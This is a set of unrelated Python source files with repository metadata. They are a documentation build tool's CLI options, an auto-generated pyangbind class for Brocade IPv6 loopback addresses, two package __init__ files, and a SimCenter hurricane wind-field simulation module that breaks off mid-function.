default=False) parser.add_argument("--list_targets_only", "-l", action="store_true", help="Don't build anything, just display list of "+ "known targets from the config file.") parser.add_argument("--only", type=str, help=".md or .html filename of a "+ "single page in the config to build alone.") parser.add_argument("--out_dir", "-o", type=str, help="Output to this folder (overrides config file)") parser.add_argument("--pages", type=str, help="Markdown file(s) to build "+\ "that aren't described in the config.", nargs="+") parser.add_argument("--openapi", type=str, help="OpenAPI spec file "+ "to generate docs from.") parser.add_argument("--no_cover", "-n", action="store_true", help="Don't automatically add a cover / index file.") parser.add_argument("--skip_preprocessor", action="store_true", default=False, help="Don't pre-process Jinja syntax in markdown files") parser.add_argument("--template_strict_undefined", action="store_true", help="Raise an error on undefined variables in "+ "template syntax.") parser.add_argument("--pp_strict_undefined", action="store_true", help="Raise an error on undefined variables in "+ "preprocessor syntax.") parser.add_argument("--title", type=str, help="Override target display "+\ "name. Useful when passing multiple args to --pages.") parser.add_argument("--vars", type=str, help="A YAML or JSON file with vars "+ "to add to the target so the preprocessor and "+ "templates can reference them.") parser.add_argument("--watch", "-w", action="store_true", help="Watch for changes and re-generate output. "+\ "This runs until force-quit.") elif utility == self.UTIL_LINKS: parser.add_argument("-o", "--offline", action="store_true", help="Check local anchors only") parser.add_argument("-s", "--strict", action="store_true", help="Exit with error even on known problems") parser.add_argument("-n", "--no_final_retry", action="store_true", help="Don't wait and retry failed remote links at the end.") self.cli_args = parser.parse_args()

[ "mduo13@gmail.com" ]

mduo13@gmail.com

1f8eb3d5d29c1b02e07895acc3f612ee67858941

51f887286aa3bd2c3dbe4c616ad306ce08976441

/pybind/slxos/v17s_1_02/routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/__init__.py

0eecc2d4add5bb3dd32255bc3b601767a6121cd0

[ "Apache-2.0" ]

permissive

b2220333/pybind

a8c06460fd66a97a78c243bf144488eb88d7732a

44c467e71b2b425be63867aba6e6fa28b2cfe7fb

refs/heads/master

2020-03-18T09:09:29.574226

2018-04-03T20:09:50

null

0

null

UTF-8

Python

false

14,516

py

from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ class ipv6_address(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-common-def - based on the path /routing-system/interface/loopback/ipv6/ipv6-config/address/ipv6-address. Each member element of the container is represented as a class variable - with a specific YANG type. """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__address','__eui64','__anycast',) _yang_name = 'ipv6-address' _rest_name = 'ipv6-address' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__eui64 = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) self.__anycast = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) self.__address = YANGDynClass(base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'routing-system', u'interface', u'loopback', u'ipv6', u'ipv6-config', u'address', u'ipv6-address'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'interface', u'Loopback', u'ipv6', u'address', u'ipv6-address'] def _get_address(self): """ Getter method for address, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/address (union) """ return self.__address def _set_address(self, v, load=False): """ Setter method for address, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/address (union) If this variable is read-only (config: false) in the source YANG file, then _set_address is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_address() directly. """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """address must be of a type compatible with union""", 'defined-type': "brocade-ipv6-config:union", 'generated-type': """YANGDynClass(base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True)""", }) self.__address = t if hasattr(self, '_set'): self._set() def _unset_address(self): self.__address = YANGDynClass(base=[RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))'}),], is_leaf=True, yang_name="address", rest_name="address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'A:B::C:D/LEN;; IPv6 prefix format: xxxx:xxxx/ml, xxxx:xxxx::/ml, xxxx::xx/128'}}, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='union', is_config=True) def _get_eui64(self): """ Getter method for eui64, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/eui64 (empty) """ return self.__eui64 def _set_eui64(self, v, load=False): """ Setter method for eui64, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/eui64 (empty) If this variable is read-only (config: false) in the source YANG file, then _set_eui64 is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_eui64() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """eui64 must be of a type compatible with empty""", 'defined-type': "empty", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True)""", }) self.__eui64 = t if hasattr(self, '_set'): self._set() def _unset_eui64(self): self.__eui64 = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="eui64", rest_name="eui-64", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address with an automatically computed EUI-64 interface Id', u'alt-name': u'eui-64'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) def _get_anycast(self): """ Getter method for anycast, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/anycast (empty) """ return self.__anycast def _set_anycast(self, v, load=False): """ Setter method for anycast, mapped from YANG variable /routing_system/interface/loopback/ipv6/ipv6_config/address/ipv6_address/anycast (empty) If this variable is read-only (config: false) in the source YANG file, then _set_anycast is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_anycast() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """anycast must be of a type compatible with empty""", 'defined-type': "empty", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True)""", }) self.__anycast = t if hasattr(self, '_set'): self._set() def _unset_anycast(self): self.__anycast = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="anycast", rest_name="anycast", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'cli-full-command': None, u'info': u'Configure ipv6 address as anycast'}}, namespace='urn:brocade.com:mgmt:brocade-ipv6-config', defining_module='brocade-ipv6-config', yang_type='empty', is_config=True) address = __builtin__.property(_get_address, _set_address) eui64 = __builtin__.property(_get_eui64, _set_eui64) anycast = __builtin__.property(_get_anycast, _set_anycast) _pyangbind_elements = {'address': address, 'eui64': eui64, 'anycast': anycast, }

[ "badaniya@brocade.com" ]

badaniya@brocade.com

fbc9661d70e561d78342cfa587b4a738aa00e9e6

c85ec43e50f81f8e20c883eae9e06a5c8c621f8e

/caldera/utils/__init__.py

b2967128d628a732cece629c50a123db23a166f8

[ "MIT" ]

permissive

jvrana/caldera

b6cc0faed560df6bfa15a3f460fed4ea18b8a55a

a346324e77f20739e00a82f97530dda4906f59dd

refs/heads/master

2023-04-27T04:19:05.499430

2021-03-09T16:37:50

266,161,720

0

MIT

2020-08-12T01:40:48

2020-05-22T16:49:35

Jupyter Notebook

UTF-8

Python

false

1,795

py

r""" Caldera utility functions. .. autosummary:: :toctree: generated/ dict_join # pairwise Indexing -------- .. autosummary:: :toctree: generated/ reindex_tensor unravel_index Tensor ------ Utilities for :class:`torch.Tensor` .. autosummary:: :toctree: generated/ scatter_coo scatter_indices torch_coo_to_scipy_coo deterministic_seed long_isin same_storage stable_arg_sort_long tensor_is_empty torch_scatter_group Functional ---------- Functional programming module. .. autosummary:: :toctree: generated/ :recursive: functional Networkx Utilities ------------------ Extra :mod:`networkx` utilities .. autosummary:: :toctree: generated/ :recursive: """ from ._dict_join import dict_join from ._iteration import _first from ._iteration import pairwise from caldera.utils.indexing import reindex_tensor from caldera.utils.indexing import unravel_index from caldera.utils.np import replace_nan_with_inf from caldera.utils.sparse import scatter_coo from caldera.utils.sparse import scatter_indices from caldera.utils.sparse import torch_coo_to_scipy_coo from caldera.utils.tensor import deterministic_seed from caldera.utils.tensor import long_isin from caldera.utils.tensor import same_storage from caldera.utils.tensor import stable_arg_sort_long from caldera.utils.tensor import tensor_is_empty from caldera.utils.tensor import torch_scatter_group __all__ = [ "reindex_tensor", "unravel_index", "scatter_coo", "scatter_indices", "torch_coo_to_scipy_coo", "deterministic_seed", "long_isin", "same_storage", "stable_arg_sort_long", "tensor_is_empty", "torch_scatter_group", "dict_join", "pairwise", "_first", "replace_nan_with_inf", ]

[ "justin.vrana@gmail.com" ]

justin.vrana@gmail.com

7b45ab15120fc12e379631a88aafbb6bba143f47

23ef5cb5eed3b2768c8e26208eeb0b8922c743bf

/dossier/models/__init__.py

9492dae9aeb53ab1a4aefe837408c830de986c5d

[ "MIT" ]

permissive

anukat2015/dossier.models

3c66396dd09e6f5a618b199d674340e23769c342

c9e282f690eab72963926329efe1600709e48b13

refs/heads/master

2021-01-21T10:45:33.881681

2015-10-08T18:38:35

null

0

null

UTF-8

Python

false

706

py

''' .. This software is released under an MIT/X11 open source license. Copyright 2012-2014 Diffeo, Inc. ``dossier.models`` provides search engines and a :mod:`dossier.web` application for working with active learning. .. automodule:: dossier.models.web.run .. automodule:: dossier.models.pairwise .. automodule:: dossier.models.features .. automodule:: dossier.models.etl .. automodule:: dossier.models.dragnet .. automodule:: dossier.models.soft_selectors .. automodule:: dossier.models.linker ''' from dossier.models import features from dossier.models.pairwise import PairwiseFeatureLearner, similar, dissimilar __all__ = [ 'PairwiseFeatureLearner', 'similar', 'dissimilar', 'features', ]

[ "andrew@diffeo.com" ]

andrew@diffeo.com

b82d9de712eba7a44376cc047eef206300213664

87ba02d5ebf91cbc0fadd50ca44196177b3c86b7

/modules/performRegionalEventSimulation/regionalWindField/ComputeIntensityMeasure.py

bfd018d5c1b3bef55b8a59205c29082604f7389b

[]

no_license

joannajzou/SimCenterBackendApplications

4cd6ff9ec856ab634bbf97ff4e67a336cacfba5b

5f040fcbe0b7a2080918ce3f7f07ca6e2ae51b16

refs/heads/master

2021-06-23T18:19:04.498654

2021-03-17T13:41:08

202,189,745

0

null

2021-03-17T13:41:09

2019-08-13T17:07:43

Python

UTF-8

Python

false

15,936

py

# -*- coding: utf-8 -*- # # Copyright (c) 2018 Leland Stanford Junior University # Copyright (c) 2018 The Regents of the University of California # # This file is part of the SimCenter Backend Applications # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # You should have received a copy of the BSD 3-Clause License along with # this file. If not, see <http://www.opensource.org/licenses/>. # # Contributors: # Kuanshi Zhong # import os import subprocess import sys import json import copy import shutil import multiprocessing as mp import numpy as np import pandas as pd from WindFieldSimulation import * def run_model(scen, p, t, path_perturb, feat_perturb, res_mp): model = LinearAnalyticalModel_SnaikiWu_2017(cyclone_param = p, storm_track = t) if scen['Terrain']: model.add_reference_terrain(scen['Terrain']) model.set_cyclone_mesh(scen['StormMesh']) model.set_measure_height(scen['MeasureHeight']) model.define_track(scen['TrackSimu']) model.add_stations(scen['StationList']) delta_path = (np.random.rand(3) - 0.5) * path_perturb delta_feat = np.array(p[3:6]) + (np.random.rand(3) - 0.5) * feat_perturb # this just an engineering judgement that the pressure difference, moving speed, and max-wind-speed radius # should not be less than 0.0 in the value. delta_feat[delta_feat < 0.0] = 0.0 print('dLatitude, dLongtitude, dAngle = ', delta_path) print('dP, v, Rmax = ', delta_feat) model.set_delta_path(delta_path) model.set_delta_feat(delta_feat) model.compute_wind_field() res_mp.append(model.get_station_data()) def simulate_storm(scenarios, event_info, model_type): if (model_type == 'LinearAnalytical'): num_per_site = event_info['NumberPerSite'] if (num_per_site == 1): path_perturb = np.zeros(3) feat_perturb = np.zeros(3) else: if (len(event_info.get('Perturbation', [])) != 6): print('ComputeIntensityMeasure: Perturbation should have a size of 6.') path_perturb = np.array([0.5, 0.5, 90.0]) feat_perturb = np.array([10.0, 10.0, 10.0]) print('ComputeIntensityMeasure: [1.0, 1.0, 90.0, 10.0, 10.0, 10.0] is used for perturbations.') else: path_perturb = np.array(event_info['Perturbation'][0:3]) feat_perturb = np.array(event_info['Perturbation'][3:6]) for i in range(len(scenarios)): if (i == 1): print('ComputeIntensityMeasure: currently supporting single scenario simulation only.') return -1 cur_scen = scenarios[i] param = cur_scen['CycloneParam'] track = cur_scen['StormTrack'] np.random.seed(100) # parallel with mp.Manager() as manager: res_mp = manager.list([]) proc_list = [] for k in range(num_per_site): proc = mp.Process(target = run_model, args = (cur_scen, param, track, path_perturb, feat_perturb, res_mp)) proc_list.append(proc) for k in range(num_per_site): proc = proc_list[k] proc.start() for k in range(num_per_site): proc = proc_list[k] proc.join() # extract data res = [x for x in res_mp] else: print('ComputeIntensityMeasure: currently only supporting LinearAnalytical model') # return return res def simulate_storm_cpp(site_info, scenario_info, event_info, model_type, dir_info): if (model_type == 'LinearAnalytical'): # save configuration file input_dir = dir_info['Input'] output_dir = dir_info['Output'] config = { "Scenario": scenario_info, "Event": event_info } abs_path_config = os.path.abspath(os.path.join(input_dir, 'SimuConfig.json')) with open (abs_path_config, "w") as f: json.dump(config, f) # site file abs_path_site = os.path.abspath(os.path.join(input_dir, site_info['input_file'])) # track file abs_path_track = os.path.abspath(os.path.join(input_dir, scenario_info['Storm']['Track'])) # lat_w file abs_path_latw = os.path.abspath(os.path.join(input_dir, scenario_info['Storm']['TrackSimu'])) # terrain file if ('Terrain' in scenario_info.keys()): abs_path_terrain = os.path.abspath(os.path.join(input_dir, scenario_info['Terrain'])) else: # default terrain z0 = 0.01 everywhere for the defined domain abs_path_terrain = os.path.abspath(os.path.join(input_dir, 'DefaultTerrain.geojson')) dict_dt = { "type": "FeatureCollection", "features": [{ "type": "Feature", "geometry": { "type": "Polygon", "coordinates": [ [-90.0, -180.0], [90.0, -180.0], [90.0, 180.0], [-90.0, 180.0]] }, "properties": { "z0": 0.01 } } ] } with open(abs_path_terrain, 'w') as f: json.dump(dict_dt, f, indent=2) # configuring perturbation num_per_site = event_info['NumberPerSite'] if (num_per_site == 1): path_perturb = np.zeros(3) feat_perturb = np.zeros(3) else: if (len(event_info.get('Perturbation', [])) != 6): print('ComputeIntensityMeasure: Perturbation should have a size of 6.') path_perturb = np.array([0.5, 0.5, 90.0]) feat_perturb = np.array([10.0, 10.0, 10.0]) print('ComputeIntensityMeasure: [1.0, 1.0, 90.0, 10.0, 10.0, 10.0] is used for perturbations.') else: path_perturb = np.array(event_info['Perturbation'][0:3]) feat_perturb = np.array(event_info['Perturbation'][3:6]) for i in range(int(scenario_info['Number'])): if (i == 1): print('ComputeIntensityMeasure: currently supporting single scenario simulation only.') return -1 np.random.seed(100) res = [] # parallel pert_list = [] args_list = [] odir_list = [] if sys.platform.startswith('win'): windsimu_bin = os.path.dirname(__file__) + '/WindFieldSimulation.exe' else: windsimu_bin = os.path.dirname(__file__) + '/WindFieldSimulation' ## preparing files for j in range(num_per_site): delta_path = (np.random.rand(3) - 0.5) * path_perturb delta_feat = (np.random.rand(3) - 0.5) * feat_perturb pert_dict = { "dLatitude": delta_path[0], "dLongitude": delta_path[1], "dAngle": delta_path[2], "dP": delta_feat[0], "dV": delta_feat[1], "dR": delta_feat[2] } abs_path_pert = os.path.abspath(os.path.join(input_dir, 'Perturbation' + str(j) + '.json')) with open(abs_path_pert, "w") as f: json.dump(pert_dict, f) print('dLatitude, dLongtitude, dAngle = ', delta_path) print('dP, dv, dR = ', delta_feat) output_subdir = os.path.abspath(os.path.join(output_dir, 'simu' + str(j))) if os.path.exists(output_subdir): shutil.rmtree(output_subdir) os.makedirs(output_subdir) args = [windsimu_bin, "--config", abs_path_config, "--site", abs_path_site, "--track", abs_path_track, "--latw", abs_path_latw, "--pert", abs_path_pert, "--terrain", abs_path_terrain, "--z0", output_subdir, "--output", output_subdir] pert_list.append(abs_path_pert) args_list.append(args) odir_list.append(output_subdir) ## running procs_list = [subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) for cmd in args_list] for proc in procs_list: proc.wait() ## loading output for j in range(num_per_site): os.remove(pert_list[j]) station_res = { 'Latitude': [], 'Longitude': [], 'z0': [], 'PWS': { 'height': [], 'duration': 600.0, 'windspeed': [] } } df = pd.read_csv(os.path.join(os.path.abspath(odir_list[j]), 'StationZ0.csv'), header = None, index_col = None) station_res['z0'] = list(np.concatenate(df.values.tolist()).flat) df = pd.read_csv(os.path.join(os.path.abspath(odir_list[j]), 'MeasureHeight.csv'), header = None, index_col = None) station_res['PWS']['height'] = df.values.tolist()[0] df = pd.read_csv(os.path.join(os.path.abspath(odir_list[j]), 'MaxWindSpeed.csv'), header = None, index_col = None) station_res['PWS']['windspeed'] = df.values.tolist() res.append(station_res) shutil.rmtree(odir_list[j]) # house-keeping os.remove(abs_path_config) else: print('ComputeIntensityMeasure: currently only supporting LinearAnalytical model') # return return res def convert_wind_speed(event_info, simu_res): print('ComputeIntensityMeasure: converting peak wind speed to specificed exposure, measuring height, and gust duration.') if ('HAZUS' in event_info['IntensityMeasure']['Type']): # Exposure type C: z0 = 0.03 exposure = 'C' # 10-m measuring height reference_height = 10.0 # 3-s gust duration gust_duration = 3.0 else: exposure = event_info['IntensityMeasure']['Exposure'] if exposure not in ['A', 'B', 'C', 'D']: print('ComputeIntensityMeasure: the Exposure should be A, B, C, or D.') return -1 gust_duration = event_info['IntensityMeasure']['GustDuration'] reference_height = event_info['IntensityMeasure']['ReferenceHeight'] pws_mr = [] for i in range(len(simu_res)): cur_res = simu_res[i] # Reading simulation heights measure_height = cur_res['PWS']['height'] # Reading simulated wind speed pws_raw = np.array(cur_res['PWS']['windspeed']) # Reading z0 in the simulation z0_simu = np.array(cur_res['z0']) # Reading gust duration in the simulation gust_duration_simu = cur_res['PWS']['duration'] # quick check the size if pws_raw.shape[1] != len(measure_height): print('ComputeIntensityMeasure: please check the output wind speed results.') return -1 # ASCE 7-16 conversion (Chapter C26) # station-wise empirical exponent \alpha alpha = 5.65 * (z0_simu ** (-0.133)) # station-wise gradient height zg = 450.0 * (z0_simu ** 0.125) # target exposure alpha and graident height if (exposure == 'B'): alpha_t = 7.0 zg_t = 365.76 elif (exposure == 'D'): alpha_t = 11.5 zg_t = 213.36 else: # 'C' alpha_t = 9.5 zg_t = 274.32 # conversion pws_raw = interp_wind_by_height(pws_raw, measure_height, reference_height) print(np.max(pws_raw)) # computing gradient-height wind speed pws_tmp = pws_raw * (zg / reference_height) ** (1.0 / alpha) # converting exposure pws_tmp = pws_tmp * (reference_height / zg_t) ** (1.0 / alpha_t) pws = pws_tmp * gust_factor_ESDU(gust_duration_simu, gust_duration) print(np.max(pws)) # appending to pws_mr pws_mr.append(pws) print('ComputeIntensityMeasure: wind speed conversion completed.') # return return pws_mr def interp_wind_by_height(pws_ip, height_simu, height_ref): """ interp_wind_by_height: interpolating the wind simulation results by the reference height """ num_stat = pws_ip.shape[0] pws_op = np.zeros(num_stat) for i in range(num_stat): pws_op[i] = np.interp(height_ref, height_simu, pws_ip[i, :], left = pws_ip[i, 0], right = pws_ip[i, -1]) # return return pws_op def gust_factor_ESDU(gd_c, gd_t): """ gust_factor_ESDU: return a gust facto between gd_c and gd_t """ # gust duration (sec) gd = [1.0, 2.0, 5.0, 10.0, 20.0, 50.0, 100.0, 200.0, 500.0, 1000.0, 2000.0, 3600.0] # gust factor w.r.t. 3600 sec gf = [1.59, 1.55, 1.47, 1.40, 1.32, 1.20, 1.15, 1.10, 1.055, 1.045, 1.02, 1.00] # interpolation gf_t = np.interp(gd_t, gd, gf, left = gf[0], right = gf[-1]) \ / np.interp(gd_c, gd, gf, left = gf[0], right = gf[-1]) # return return gf_t def export_pws(stations, pws, output_dir, filename = 